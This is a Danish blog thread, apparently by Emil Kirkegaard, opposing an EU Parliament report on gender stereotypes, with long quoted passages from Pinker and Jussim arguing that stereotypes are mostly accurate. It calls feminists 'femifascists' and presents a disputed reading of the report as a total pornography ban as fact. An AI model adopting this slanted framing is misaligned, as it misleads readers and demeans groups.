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Femifascisterne i EU prøver at forbyde porno

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Emil Kirkegaard
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Femifascisterne i EU prøver at forbyde porno

Next Tuesday, the European Parliament will vote yes to a report calling for a legislative ban on all pornography in “media”. This “media” is worded to include the internet, and is broad and vague enough to even include photos you take of yourself and send to friends, as well as simple text messaging. This horrendous attack on our fundamental freedoms of speech and expression needs action now.

Selve forslaget/'rapporten'


Fra SM:

EU leger med et totalforbud mod porno på internettet og alt hvad der ellers tæller som et “medie”. Som sædvanligt er forslaget navngivet på bedste Orwellske vis, “Eliminating gender stereotypes in the EU”. Det lyder jo fint, men handler i virkeligheden om noget helt andet, ligesom fx Anti-Counterfeiting Trade Agreement (ACTA). Dette er et klart angreb på borgernes frihedsrettigheder. Falkvinge, Engström, og EDRI kalder til våben, dvs. emails. /Emil


Som sædvanligt, så er det puritansk femifascisme/femitotalitarisme som står bag. De stakkels kvinder, skal reddes fra deres egne stereoptyper ved at ... forbyde andre kvinder at lave porno og alle andre at se på det.

Emil Kirkegaard
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De farlige, onde stereotyper, eller hvad?

Et par citater


The deceptively-named report is titled Eliminating gender stereotypes in the EU, which sounds good and something you’d give your approval on first glance, right? We’ve seen this kind of deception before, with bills named things like “Stop Online Piracy Act” (SOPA), “Anti-Counterfeiting Trade Agreement” (ACTA), and the “Patriot Act”, that were all named to trigger a “yes” vote, but which were really about tearing down the most fundamental of our rights and liberties.


Next week in Strasbourg, probably on Tuesday, the European Parliament will be voting on a Report on eliminating gender stereotypes in the EU. To promote gender equality and eliminating gender stereotypes are of course very laudable goals, so my guess would be that unless something happens, the report will be approved by the parliament, possibly by a very large majority.


Although I completely agree that eliminating outdated gender stereotypes in the EU is a worthwhile goal, I will be voting against this resolution next week.


Mine markeringer (har også fjernet deres). Falkvinge og Engström er komplet ude af trit med virkeligheden her. Ikke så overraskende, de er jo svenskere og neofeminisme står meget stærkt i Sverige.

Hvad bør man mene om stereotyper?

Man bør læse hele bogen, men her er et længere citat fra Steven Pinker's The Blank Slate (PDF):

The idea that stereotypes are inherently irrational owes more to a condescension toward ordinary
people than it does to good psychological research. Many researchers, having shown that
stereotypes existed in the minds of their subjects, assumed that the stereotypes had to be
irrational, because they were uncomfortable with the possibility that some trait might be
statistically true of some group. They never actually checked. That began to change in the 1980s,
and now a fair amount is known about the accuracy of stereotypes.14

With some important exceptions, stereotypes are in fact  not  inaccurate when assessed against
objective benchmarks such as census figures or the reports of the stereotyped people themselves.
People who believe that African Americans are more likely to be on welfare than whites, that
Jews have higher average incomes than WASPs, that business students are more conservative
than students in the arts, that women are more likely than men to want to lose weight, and that
men are more likely than women to swat a fly with their bare hands, are not being irrational or
bigoted. Those beliefs are correct. People’s stereotypes are generally consistent with the
statistics, and in many cases their bias is to underestimate the real differences between sexes or
ethnic groups.15 This does not mean that the stereotyped traits are unchangeable, of course, or
that people think they are unchangeable, only that people perceive the traits fairly accurately at
the time.

Moreover, even when people believe that ethnic groups have characteristic  traits, they are never
mindless stereotypers who literally believe that each and every member of the group possesses
those traits. People may think that Germans are, on average, more efficient than non-Germans,
but no one believes that every last German is more efficient than every non-German.16 And
people have no trouble overriding a stereotype when they have good information about an
individual. Contrary to a common accusation, teachers‘ impressions of their individual pupils are
not contaminated by their stereotypes of race, gender, or socioeconomic status. The teachers‘
impressions accurately reflect the pupil’s performance as measured by objective tests.17

Now for the important exceptions. Stereotypes can be downright inaccurate when a person has
few or no firsthand encounters with the stereotyped  group, or belongs to a group that is
overtly hostile to the one being judged. During World War II, when the Russians were allies of
the United States and the Germans were enemies, Americans judged Russians to have more
positive traits than Germans. Soon afterward, when the alliances reversed, Americans judged
Germans to have more positive traits than Russians.18

Also, people’s ability to set aside stereotypes when judging  an individual is accomplished by
their conscious, deliberate reasoning. When people are distracted or put under pressure to
respond quickly, they are more likely to judge that a member of an ethnic group has all the
stereotyped traits of the group.19  This comes from the two-part design of the human
categorization system mentioned earlier. Our network of fuzzy associations naturally reverts to a
stereotype when we  first encounter an individual. But our rule-based categorizer can block out
those associations and make deductions based on the relevant facts about that individual. It can
do so either for practical reasons, when information about a group-wide average is  less
diagnostic than information about the individual, or for social and moral reasons, out of respect
for the imperative that one  ought  to ignore certain group-wide averages when judging an

The upshot of this research is not that stereotypes  are always accurate but that they are not
always false, or even usually false. This is just what we would expect if human categorization —
like the rest of the mind —  is an adaptation that keeps track of aspects of the world that are
relevant to our long-term well-being. As the social psychologist Roger Brown pointed out, the
main difference between categories of people and categories of other things is that when you use
a prototypical exemplar to stand for a category of things, no one takes offense. When Webster’s
dictionary used a sparrow to stand for all birds, ―emus and ostriches and penguins and eagles did
not go on the attack.‖ But just imagine what would have happened if Webster’s had used a
picture of a soccer mom to illustrate woman and a picture of a business executive to illustrate
man. Brown remarks, ―Of course, people would be right to take offense since a prototype can
never represent the variation that exists in natural categories. It’s just that birds don’t care but
people do.” 20

What are the implications of the fact that many stereotypes are statistically accurate? One is that
contemporary scientific research on sex differences cannot be dismissed just because some of the
findings are consistent with traditional stereotypes of men and women. Some parts of those
stereotypes may be false, but the mere fact that they are stereotypes does not prove that they are
false in every respect.

Kort og på dansk. Stereotyper, aka. generaliseringer, findes netop fordi at de generelt er korrekt. Mennesker er gode til at se mønstre i data, også data om andre mennesker. Ud fra deres observationer danner mennesker sig stereotyper/generaliseringer om diverse grupper af personer. Det er der intet irrationelt i, faktisk ville det være dumt ikke at gøre det, da man således ignorere relevant data.

Fordi at folk netop selv danner deres stereotyper ud fra data som kommer fra deres egne erfaringer, så kan man umuligt fjerne folks stereotyper, her om kvinder, ved at forbyde stereotype afbilledningerne af dit eller dat gruppe. Helt generelt er det umuligt at fjerne stereotyper undtagen i særtilfælde. I øvrigt, må det anses for tvivlsomt at porno skulle have nogen effekt på mænds ideer om hvordan kvinder generelt er, både når det gælder sexliv og ellers. Man ved jo godt at pornoen er urealistisk.

Men, hvor præcise er stereotyperne så?

Det spørgsmål blev jeg interesseret i for nyligt, og derfor satte jeg mig for at undersøge emnet. Heldigvis findes der en masse interessant litteratur om emnet. Som sædvanligt er det bedst at læse meta-analyser, så jeg fandt en gennem Pinker's referencer til ovenstående citat:

Jussim, Lee, et al. "The Unbearable Accuracy of Stereotypes." Handbook of prejudice, stereotyping, and discrimination (2009): 199. Altså kapitel i en håndbog om stereotyper. Bogen kan downloades her fra min side, eller fra bookos.

Jeg citerer:

Sixty years of empirical research has taught us much about stereotypes. Stereotypes can arise from, and sustain, intergroup hostility. They are sometimes linked to prejudices based on race, religion, gender, sexual orientation, nationality, and just about any other social category. They can serve to maintain and justify hegemonic and exploitative hierarchies of power and status. They can corrupt interpersonal relations, warp public policy, and play a role in the worst social abuses, such as mass murder and genocide. For all these reasons, social scientists—and especially social psychologists— have understandably approached stereotypes as a kind of social toxin.

Perhaps equally understandable, but scientifically untenable, is the corresponding belief that because stereotypes contribute to these many malignant outcomes, that they must also be—in the main—inaccurate. The tacit equation is, if stereotypes are associated with social wrongs, they must be factually wrong. However, the accuracy of stereotypes is an empirical question, not an ideologi- cal one. For those of us who care deeply about stereotypes, prejudice, and social harmony, getting to the truth of these collective cognitions should guide inquiry about them.

Unfortunately, this has not always been our experience. Because of his inquiries into stereotype accuracy, the first author has been accused by prominent social psychologists of purveying “non- sense,” of living “in a world where stereotypes are all accurate and no one ever relies on them any- way,” of calling for research with titles like “Are Jews really cheap?” and “Are Blacks really lazy?,” of disagreeing with civil rights laws, and of providing intellectual cover for bigots.1

These reactions are understandable, if one remembers that social psychology has a long intel- lectual history of emphasizing the role of error and bias in social perception, and nowhere has this emphasis been stronger than in the area of stereotypes. To enter this zeitgeist and to argue for the need to take seriously the possibility that sometimes, some aspects of some stereotypes may have some degree of accuracy, therefore, is to risk making claims that are unbearable to some social sci- entists. However, science is about validity, not “bearability.” It is about logic and evidence. In this chapter we review conceptual issues and empirical evidence regarding the accuracy of stereotypes. By doing so we hope to correct some long-held beliefs about stereotypes, and to thereby remove some of the obstacles to the systematic investigation of stereotype accuracy and inaccuracy. The chapter has three main objectives: providing a logically coherent, defensible, and practical definition of “stereotype”; reviewing empirical research on stereotype accuracy; and considering the role of stereotypes in increasing or reducing accuracy in person perception.


Hvad med specifikt kønssteretyper?

Accuracy of Gender Stereotypes
Table 10.2 summarizes the results of all studies of gender stereotypes that met our criteria for inclu- sion. Results are broadly consistent with those for ethnic and racial stereotypes. In most cases, at least a plurality of judgments was accurate, and accurate plus near miss judgments predominate in every study. Inaccuracy constituted a minority of results. Again, some results showed that people exaggerated real differences. There was, however, no support for the hypothesis that stereotypes generally lead people to exaggerate real differences. As with race, underestimations counterbal- anced exaggerations.

Again, consensual stereotype accuracy correlations were quite high, ranging from .34 to .98, with most falling between .66 and .80. The results for personal stereotypes were more variable. Once they were inaccurate, with a near-zero correlation with criteria (Beyer, 1999, perceptions of female targets). In general, though, they were at least moderately, and sometimes highly accurate (most correlations ranged from .40–.60; see Table 10.2).


Summary and Critical Evaluation
Our review has shown that it is logically incoherent to define stereotypes as inaccurate, that it is unusual (but not unheard of) for stereotypes to be highly discrepant from reality, that the correla- tions of stereotypes with criteria are among the largest effects in all of social psychology, that people rarely rely on stereotypes when judging individuals, and that, sometimes, even when they do rely on stereotypes, it increases rather than reduces their accuracy. Many scholars, scientists, and people of good will, we do not doubt, will find these conclusions unbearable.

Therefore, the next order of business is to identify important limitations and qualifications to these conclusions. We are going to (a) clearly state many of the things the stereotype literature does not show; (b) state what it does show; and (c) describe many of the limitations to existing research on stereotype accuracy. We hope that doing so reduces the extent to which some readers may mis- interpret our claims about what the stereotype research does show, and what lessons can be learned from it.

What the stereotype research does not show

  1. It does not show that all stereotypes are always perfectly 100% accurate. We know of no researcher who has ever made this claim.

  2. It does not show that prejudice and discrimination do not exist, or are trivial and unimportant. Prejudice and discrimination are terribly important, and can be terribly destructive.

  3. The research reviewed in this chapter has not addressed prejudice and discrimination. It does not show that people correctly explain why group differences exist. Inasmuch as social scientists do not agree as to why group differences exist, it is probably not possible to assess the accuracy of most lay explanations for group differences.

  4. It does not show how people arrive at their stereotypes. There is very little research on where stereotypes come from. Much speculative discussion emphasizes hearsay, family socialization, and the media (e.g., Allport, 1954/1979; Katz & Braly, 1933; Pickering, 2001). The extraordinary levels of accuracy shown in many of the studies reviewed in this chapter, however, do suggest another source is the primary basis of stereotypes—social reality.

  5. The amount of research that has addressed the accuracy of people’s perceptions of differences between small groups of individuals they know personally (stereotypes and person perception) is quite modest, and does not yet provide a sufficiently broad foundation on which to reach any general conclusions. It appears as if relying on accurate stereotypes seems to mostly enhance accuracy, but that conclusion should be held tentatively, pending further studies.

What this research does show

  1. The claim that stereotypes, as beliefs about groups, are inherently inaccurate has been falsified.

  2. A more modest claim, one that does not define stereotypes as inherently inaccurate, is that they are generally or frequently inaccurate. This also has been falsified. The scientific evidence provides more evidence of accuracy than of inaccuracy in social stereotypes. The most appropriate generalization based on the evidence is that people’s beliefs about groups are usually moderately to highly accurate, and are occasionally highly inaccurate.

  3. This pattern of empirical support for moderate to high stereotype accuracy is not unique to any particular target or perceiver group. Accuracy has been found with racial and ethnic groups, gender, occupations, and college groups.

  4. The pattern of moderate to high stereotype accuracy is not unique to any particular research team or methodology. It has been found by a wide variety of American and Canadian researchers; by those using Judd and Park’s (1993) componential methodology; by those using noncomponential methodologies; and regardless of whether the criteria are obtained through official government reports, meta-analyses, or the self-reports of members of the target group.

  5. This pattern of moderate to high stereotype accuracy is not unique to the substance of the stereotype belief. It occurs for stereotypes regarding personality traits, demographic characteristics, achievement, attitudes, and behavior.

  6. The strong form of the exaggeration hypothesis—either defining stereotypes as exaggerations or as claiming that stereotypes usually lead to exaggeration—is not supported by data. Exaggeration does sometimes occur, but it does not appear to occur much more frequently than does accuracy or underestimation, and may even occur less frequently.

  7. The exaggeration hypothesis—as a hypothesis—can still be retained. Exaggeration sometimes does occur. Understanding when stereotypes are more likely to exaggerate real differences, more likely to underestimate real differences, and more likely to be accurate is an important question for future research.

  8. In contrast to their reputation as false cultural myths perpetrated by exploitative hierarchies against the disenfranchised, consensual stereotypes were not only the most accurate aspect of stereotypes, not only more valid than nearly all social psychological hypotheses, but they were stunningly accurate by any standard. Correlations of r = .70 and higher are almost never repeatedly obtained in any area of social or psychological research. Using Rosenthal’s (1991) binomial effect size display to translate correlations into intuitively meaningful relationships shows that correlations of .6 to .9 mean that consensual stereotypes are about 80% to 90% accurate.

Table 10.4 compares the frequency with which social psychological research produces effects exceeding correlations of r = .30 and r = .50, with the frequency with which the correlations reflect- ing the extent to which people’s stereotypes correspond to criteria exceed r = .30 and r = .50. Only 24% of social psychological effects exceed correlations of r = .30 and only 5% exceed r = .50. In contrast, all 18 of the aggregate and consensual stereotype accuracy correlations shown in Table10.1 and Table 10.2 exceed r = .30, and all but two exceed r = .50. Furthermore, 9 of 11 personal stereotype accuracy correlations exceeded r = .30, and 4 of 11 exceeded r = .50.

This is doubly important. First, it is yet another way to convey the impressive level of accuracy in laypeople’s stereotypes. Second, it is surprising that so many scholars in psychology and the social sciences are either unaware of this state of affairs, unjustifiably dismissive of the evidence, or choose to ignore it (see reviews by Funder, 1987, 1995; Jussim, 1991, 2005; Ryan, 2002). When introductory texts teach about social psychology, they typically teach about phenomena such as the mere exposure effect (people like novel stimuli more after repeated exposure to it, r = .26), the weapons effect (they become more aggressive after exposure to a weapon, r = .16), more credible speakers are more persuasive (r = .10), and self-serving attributions (people take more responsibility for successes than failures, r = .19; correlations all obtained from Richard et al., 2003). How much time and space is typically spent in such texts reviewing and documenting the much stronger evidence of the accuracy of people’s stereotypes? Typically, none at all. For a field that aspires to be scientific, this is a troubling state of affairs. Some might even say unbearable.


Emil Kirkegaard
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Falkvinge opdatering
Emil Kirkegaard
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Mainstream opmærksomhed
Emil Kirkegaard
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Jeg har også postet nyheden på 180grader hvor den har fået en del interesse (+43 lige nu).

Emil Kirkegaard
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Dansk opmærksomhed


Forfatteren nævner specifikt Engström's blog om emnet. Der er også nogle mere skræmmende eksempler, fx historieomskrivning i bedste totalitær stil:

“Calls on the Member States to assess the syllabus and content of school textbooks, with a view to a reform leading to the integration of gender issues into all education material as a cross-cutting theme, in terms of both eliminating gender stereotypes and making women‘s contribution and role in history, literature, the arts, etc. more visible, including at the earliest school levels”.

Vi skal simpelthen omskrive vores historiebøger med det motiv, at gøre kvinderne mere synlige? Det er jo langt forbi absurd! Hvis historien ikke indeholder så mange kvinder som har udkæmpet slag, ledet krige, lande, etc., så skal man selvfølgelig ikke skrive om det i historiebøgerne. Historiebøger skal forholde sig til historien, hvilket medfører at man skal skrive om et køn i præcis det omfang som kønnet har haft en rolle i historien.

Emil Kirkegaard
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Med porno skal porno bekæmpes
Den engelske feminist og reklamekonsulent Cindy Gallop har skabt et nyt pornosite for at opdrage på en hel generation af unge, hvis eneste seksuelle opdragelse har været netværksporno. Det er udtryk for en ny feministisk kamp, som hverken videnskaben eller menigmand ved særlig meget om: Hvordan helt normal elskov ser ud

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